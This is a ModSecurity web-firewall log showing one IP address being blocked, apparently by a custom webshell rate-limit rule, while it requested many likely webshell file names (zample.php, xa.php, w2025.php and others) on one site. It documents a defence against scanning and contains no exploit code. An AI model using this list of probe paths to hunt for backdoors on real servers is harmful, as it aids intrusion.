[Sun Apr 12 12:12:47.759446 2026] [:error] [pid 26567:tid 26591] [client 20.215.64.75:61009] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "adsbv3hRpg6ptWFyFx1ejQAAARY"]
[Sun Apr 12 12:12:48.370737 2026] [:error] [pid 25328:tid 25367] [client 20.215.64.75:52458] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "adsbwMxUaQZxT-e0YsCCwwAAAEM"]
[Sun Apr 12 12:12:49.190832 2026] [:error] [pid 25437:tid 25456] [client 20.215.64.75:9584] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "adsbwXf97wYZje1ep_PHyQAAANE"]
[Sun Apr 12 12:12:49.819088 2026] [:error] [pid 25328:tid 25389] [client 20.215.64.75:9556] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "adsbwcxUaQZxT-e0YsCCxwAAAFA"]
[Sun Apr 12 12:12:50.448845 2026] [:error] [pid 60280:tid 60305] [client 20.215.64.75:9572] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "adsbwnBlLnDOYuIykkij2AAAAdc"]
[Sun Apr 12 12:12:51.089314 2026] [:error] [pid 25437:tid 25458] [client 20.215.64.75:9255] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "adsbw3f97wYZje1ep_PHzAAAANM"]
[Sun Apr 12 12:12:51.980963 2026] [:error] [pid 25328:tid 25401] [client 20.215.64.75:62974] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "adsbw8xUaQZxT-e0YsCC0wAAAFU"]
[Sun Apr 12 12:12:52.765937 2026] [:error] [pid 60280:tid 60293] [client 20.215.64.75:52435] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "adsbxHBlLnDOYuIykkij5AAAAcs"]
[Sun Apr 12 12:12:53.379370 2026] [:error] [pid 60280:tid 60282] [client 20.215.64.75:52437] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "adsbxXBlLnDOYuIykkij6wAAAcA"]
[Sun Apr 12 12:12:54.329844 2026] [:error] [pid 25329:tid 25412] [client 20.215.64.75:61052] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "adsbxmdcIYsS8Iyaj118VAAAAJU"]
[Sun Apr 12 12:12:55.014796 2026] [:error] [pid 25328:tid 25403] [client 20.215.64.75:9248] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "adsbx8xUaQZxT-e0YsCC2QAAAFY"]
[Sun Apr 12 12:12:55.675413 2026] [:error] [pid 25328:tid 25379] [client 20.215.64.75:62958] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "adsbx8xUaQZxT-e0YsCC3QAAAEs"]
[Sun Apr 12 12:12:56.493908 2026] [:error] [pid 25328:tid 25372] [client 20.215.64.75:52428] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "adsbyMxUaQZxT-e0YsCC4gAAAEc"]
[Sun Apr 12 12:12:57.266825 2026] [:error] [pid 25328:tid 25387] [client 20.215.64.75:62969] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "adsbycxUaQZxT-e0YsCC5QAAAE8"]
[Sun Apr 12 12:12:57.823270 2026] [:error] [pid 25328:tid 25369] [client 20.215.64.75:62920] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "adsbycxUaQZxT-e0YsCC6gAAAEU"]
[Sun Apr 12 12:12:58.607005 2026] [:error] [pid 25328:tid 25401] [client 20.215.64.75:9242] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "adsbysxUaQZxT-e0YsCC7wAAAFU"]
[Sun Apr 12 12:12:59.237403 2026] [:error] [pid 25328:tid 25368] [client 20.215.64.75:9218] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "adsby8xUaQZxT-e0YsCC9AAAAEQ"]
[Sun Apr 12 12:12:59.934742 2026] [:error] [pid 26567:tid 26581] [client 20.215.64.75:62971] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "adsby3hRpg6ptWFyFx1ekAAAAQw"]
[Sun Apr 12 12:13:00.600029 2026] [:error] [pid 25437:tid 25455] [client 20.215.64.75:62942] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "adsbzHf97wYZje1ep_PH0wAAANA"]
[Sun Apr 12 12:13:01.196575 2026] [:error] [pid 25437:tid 25462] [client 20.215.64.75:62914] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "adsbzXf97wYZje1ep_PH1wAAANc"]
[Sun Apr 12 12:13:01.798139 2026] [:error] [pid 25328:tid 25396] [client 20.215.64.75:59766] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "adsbzcxUaQZxT-e0YsCC9gAAAFM"]
[Sun Apr 12 12:13:02.352126 2026] [:error] [pid 25328:tid 25373] [client 20.215.64.75:59133] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "adsbzsxUaQZxT-e0YsCC-QAAAEg"]
[Sun Apr 12 12:13:02.887080 2026] [:error] [pid 60280:tid 60293] [client 20.215.64.75:62924] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "adsbznBlLnDOYuIykkikDAAAAcs"]
[Sun Apr 12 12:13:03.839403 2026] [:error] [pid 25328:tid 25372] [client 20.215.64.75:52426] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "adsbz8xUaQZxT-e0YsCC_AAAAEc"]
[Sun Apr 12 12:13:04.458452 2026] [:error] [pid 25437:tid 25446] [client 20.215.64.75:61041] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "adsb0Hf97wYZje1ep_PH2QAAAMc"]
[Sun Apr 12 12:13:05.204833 2026] [:error] [pid 25437:tid 25448] [client 20.215.64.75:9594] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "adsb0Xf97wYZje1ep_PH2wAAAMk"]
[Sun Apr 12 12:13:05.761480 2026] [:error] [pid 26600:tid 26638] [client 20.215.64.75:59117] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "adsb0e1YwAZiXhQKLYrY7wAAAYk"]
[Sun Apr 12 12:13:06.444029 2026] [:error] [pid 60280:tid 60302] [client 20.215.64.75:60999] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sf.php"] [unique_id "adsb0nBlLnDOYuIykkikGQAAAdQ"]
[Sun Apr 12 12:13:07.010722 2026] [:error] [pid 26599:tid 26616] [client 20.215.64.75:52417] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sf.php"] [unique_id "adsb03G89LXoQbk_rwCXQQAAAU4"]
[Sun Apr 12 12:13:07.614450 2026] [:error] [pid 25329:tid 25390] [client 20.215.64.75:62962] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sf.php"] [unique_id "adsb02dcIYsS8Iyaj118XAAAAIg"]
[Sun Apr 12 12:13:08.171587 2026] [:error] [pid 25329:tid 25392] [client 20.215.64.75:61006] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sf.php"] [unique_id "adsb1GdcIYsS8Iyaj118XQAAAIk"]
[Sun Apr 12 12:13:08.777416 2026] [:error] [pid 26567:tid 26579] [client 20.215.64.75:52449] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "adsb1HhRpg6ptWFyFx1emwAAAQo"]
[Sun Apr 12 12:13:09.430008 2026] [:error] [pid 25328:tid 25408] [client 20.215.64.75:52424] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "adsb1cxUaQZxT-e0YsCDAAAAAFg"]
[Sun Apr 12 12:13:10.049190 2026] [:error] [pid 25328:tid 25389] [client 20.215.64.75:62943] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "adsb1sxUaQZxT-e0YsCDAgAAAFA"]
[Sun Apr 12 12:13:10.617455 2026] [:error] [pid 26599:tid 26611] [client 20.215.64.75:9536] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "adsb1nG89LXoQbk_rwCXQwAAAUk"]
[Sun Apr 12 12:13:11.238894 2026] [:error] [pid 25437:tid 25444] [client 20.215.64.75:59734] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "adsb13f97wYZje1ep_PH3gAAAMU"]
[Sun Apr 12 12:13:11.794878 2026] [:error] [pid 25328:tid 25380] [client 20.215.64.75:62970] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "adsb18xUaQZxT-e0YsCDCgAAAEw"]
[Sun Apr 12 12:13:12.329057 2026] [:error] [pid 25328:tid 25369] [client 20.215.64.75:52472] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "adsb2MxUaQZxT-e0YsCDDgAAAEU"]
[Sun Apr 12 12:13:12.854612 2026] [:error] [pid 25437:tid 25455] [client 20.215.64.75:62918] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "adsb2Hf97wYZje1ep_PH4QAAANA"]
[Sun Apr 12 12:13:13.395684 2026] [:error] [pid 26567:tid 26585] [client 20.215.64.75:62937] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "adsb2XhRpg6ptWFyFx1enwAAARA"]
[Sun Apr 12 12:13:13.960041 2026] [:error] [pid 26600:tid 26629] [client 20.215.64.75:52423] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "adsb2e1YwAZiXhQKLYrY_AAAAYA"]
[Sun Apr 12 12:13:14.503577 2026] [:error] [pid 60280:tid 60302] [client 20.215.64.75:52471] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "adsb2nBlLnDOYuIykkikYAAAAdQ"]
[Sun Apr 12 12:13:15.057320 2026] [:error] [pid 60280:tid 60293] [client 20.215.64.75:53956] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "adsb23BlLnDOYuIykkikawAAAcs"]
[Sun Apr 12 12:13:15.584249 2026] [:error] [pid 25437:tid 25439] [client 20.215.64.75:9568] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "adsb23f97wYZje1ep_PH6wAAAMA"]
[Sun Apr 12 12:13:16.118656 2026] [:error] [pid 25437:tid 25444] [client 20.215.64.75:52446] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "adsb3Hf97wYZje1ep_PH7AAAAMU"]
[Sun Apr 12 12:13:16.644210 2026] [:error] [pid 60280:tid 60299] [client 20.215.64.75:59104] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "adsb3HBlLnDOYuIykkikcgAAAdE"]
[Sun Apr 12 12:13:17.164413 2026] [:error] [pid 60280:tid 60290] [client 20.215.64.75:9246] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "adsb3XBlLnDOYuIykkikegAAAcg"]
[Sun Apr 12 12:13:17.690081 2026] [:error] [pid 25437:tid 25454] [client 20.215.64.75:62973] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "adsb3Xf97wYZje1ep_PH7gAAAM8"]
[Sun Apr 12 12:13:18.199542 2026] [:error] [pid 25329:tid 25406] [client 20.215.64.75:9580] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "adsb3mdcIYsS8Iyaj118XwAAAJE"]
[Sun Apr 12 12:13:18.705482 2026] [:error] [pid 26567:tid 26573] [client 20.215.64.75:62968] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "adsb3nhRpg6ptWFyFx1eowAAAQQ"]
[Sun Apr 12 12:13:19.218800 2026] [:error] [pid 26599:tid 26620] [client 20.215.64.75:9953] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "adsb33G89LXoQbk_rwCXVAAAAVI"]
[Sun Apr 12 12:13:19.731452 2026] [:error] [pid 25327:tid 25338] [client 20.215.64.75:59718] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "adsb3y6h2tZEVJo9JFKU0QAAAAI"]
[Sun Apr 12 12:13:20.240942 2026] [:error] [pid 60280:tid 60298] [client 20.215.64.75:59134] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "adsb4HBlLnDOYuIykkikhgAAAdA"]
[Sun Apr 12 12:13:20.784033 2026] [:error] [pid 60280:tid 60289] [client 20.215.64.75:59099] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "adsb4HBlLnDOYuIykkikjQAAAcc"]
[Sun Apr 12 12:13:21.290143 2026] [:error] [pid 25327:tid 25348] [client 20.215.64.75:61007] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "adsb4S6h2tZEVJo9JFKU1gAAAAw"]
[Sun Apr 12 12:13:21.805075 2026] [:error] [pid 60280:tid 60290] [client 20.215.64.75:61028] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adsb4XBlLnDOYuIykkikmgAAAcg"]
